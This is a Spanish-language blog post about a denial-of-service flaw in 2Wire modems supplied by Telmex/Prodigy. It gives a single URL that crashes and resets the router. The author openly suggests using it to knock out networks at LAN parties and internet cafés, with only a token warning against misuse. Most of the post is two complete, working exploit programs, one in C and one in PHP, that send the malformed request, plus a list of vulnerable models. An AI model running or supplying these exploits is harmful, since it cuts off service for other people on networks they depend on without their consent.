Mostrando las entradas con la etiqueta prodigy. Mostrar todas las entradas
Mostrando las entradas con la etiqueta prodigy. Mostrar todas las entradas

domingo, 18 de marzo de 2007

Tirando un Dos a router 2wire

Hace tiempo me ya varios meses salio una vulnerabilidad en la cual le puedes hacer un ataque DOS a los módem 2Wire que son los que da telmex(Prodigy) o por lo general los que da.

La vulnerabilidad fue descubierta por el Mexhackteam ya hace varios meses y consiste en enviar paquetes con los caracteres CRLF usados en entornos windows para generar un Retorno de Carro y un Salto de Linea mediante el método GET, el cual al no reconocer como manejarlos y cae en un DOS.

de echo sacaron un exploit y toda la cosa y hasta un wey lo paso a php pero la verdad es que a fin de cuentas el exploit ni se necesita.

Lo único que tenemos que hacer es poner la sig. url en nuestro explorador:

http://home/xslt?PAGE=%0D&0A

y vamos a notar como nos quedamos sin Internet o se cae la red, esto lo que hace es que reinicia nuestro módem o router, esto en donde lo podemos usar pues en la Lan Party jejeje, o en un café Internet, o en cualquier lugar en donde tengan un módem 2wire, que por lo general si tienen prodigy lo tienen. la verdad no recuerdo q modelos son los que presentan la vulnerabilidad, pero bueno que le vamos a hacer.

haci que no hagan mal uso de esta vulnerabilidad.

si a alguien le interesa el código de los exploits aquí los dejo de todas formas:

//Vulnerable:
//2Wire OfficePortal 0
//2Wire HomePortal 1500W
//2Wire HomePortal 100W
//2Wire HomePortal 100S
//2Wire HomePortal 1000W
//2Wire HomePortal 1000SW
//2Wire HomePortal 1000S
//2Wire HomePortal 1000
//2Wire HomePortal 0
////////////////////////////////// [ STARTING CODE ]
////////////////////////////////////////////////////
////
//// [ Explanation ] this PoC make an evil_request
//// and send to the server , when the server process
//// it the request fall him, AND THE MODEM WILL RESET!.
////
//// [ Note ] This Poc was coded using Dev-C++ 4.9.9.2
//// If you have any error with the librarys you need
//// include libws2_32.a at the project.
////
//// Enjoy it n_nU!..
//// Coded by preth00nker (using Mexican skill!)

#pragma comment(lib,"libws2_32.a")
#include
#include
#include
#include "winsock2.h"

unsigned long dir;
char h[]="";
short port;
char badreq[]="";
int state;

int main(int argc, char *argv[])
{
printf("\n################################################\n");
printf("####\n");
printf("#### PoC of DoS 2wire_Gateway\n");
printf("#### By Preth00nker\n");
printf("#### http://www.mexhackteam.org\n");
printf("####\n");
printf("####\n\n");
if (argc<4){
printf("[Usage] %s $Host $Port $Variable\n",argv[0]);
printf("\n[I.E.] %s 192.168.1.254 80 PAGE\n",argv[0]);
return 0;
}
//Crear socket
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);
SOCKET wsck;
//Estructuras
struct sockaddr_in Wins;
struct hostent *target;
//Wins
Wins.sin_family=AF_INET;
Wins.sin_port=htons((short)atoi(argv[2]));
target=gethostbyname(argv[1]);
Wins.sin_addr.s_addr=inet_addr(inet_ntoa(*(struct in_addr *)target->h_addr));
//llamamos al socket
wsck=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,(int unsigned)NULL,(int unsigned)NULL,(int unsigned)NULL);
//Verifica por error
if (wsck==SOCKET_ERROR){printf("Error al crear el socket =!..");WSACleanup();return 0;}
printf("Socket creado correctamente!.. hWndl: %d",wsck);
//Conecta
if(WSAConnect(wsck,(SOCKADDR*)&Wins,sizeof(Wins),NULL,NULL,NULL,NULL)==SOCKET_ERROR){
WSACleanup();
return 0;
printf("\nError al conectar =!..");
}
printf("\nConectado!..");
//Make a bad query and send it ..Mwajuajua!..
strcat(badreq,"GET /xslt?");
strcat(badreq,argv[3]);
strcat(badreq,"=%0D%0A HTTP/1.0\r\n");
strcat(badreq,"Accept-Language: es-mx\r\n");
strcat(badreq,"User-Agent: MexHackTeam\r\n");
strcat(badreq,"Host: ");
strcat(badreq,argv[1]);
strcat(badreq, "\r\n\r\n\r\n");
send(wsck , badreq ,(int)strlen(badreq), 0);
printf("\nDatos Mandados!..");
//finalized
Sleep(100);
printf("\nThat's all, Check this out!...\n");
WSACleanup();
return 0;
}
//////////////////////////////////////////// [ EOF ]
////////////////////////////////////////////////////


Y el codigo en php es el sig:

@ini_set("max_execution_time",0);
print_r('
--------------------------------------------------------------------------------

dos 2wire

Exploit Original por preth00nker

Codeado en php por RootBox.

--------------------------------------------------------------------------------

'
);

if(!empty(
$_REQUEST['router'])) { $router = $_REQUEST['router']; }else{ die("Te falta especificar la direccion IP del router"); }
if(!empty(
$_REQUEST['port'])){ $puerto = $_REQUEST['port']; }else{ die("Te falta especificar el puerto"); }

$socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if (!
$socket) {
echo
"socket_create() fallo: razon: " . socket_strerror($socket) . "
"
; exit(0);
}

$result = @socket_connect($socket, $router, $puerto);

if (!
$result) {
echo
"socket_connect() fallo. razon: (".$result.") " . socket_strerror($result) . "

"
; exit(0);
}

echo
"Conexion establecida
\r\n"
;
echo
"Enviando Paquete....
\r\n"
;

$requestheader = "GET /xslt?PAGE=%0D&0A HTTP/1.0\r\n";
$requestheader .= "Accep-Language: es-mx\r\n";
$requestheader .= "User-Agent: PoCPHP\r\n";
$requestheader .= "Host: ".$router."\r\n\r\n\r\n\r\n";

socket_write($socket, $requestheader, strlen($requestheader));
sleep(4);
socket_close($socket);


echo
"Datos enviados!!!, Talvez ya esta off.. prubea";
?>


Writed by Edgar Vilch...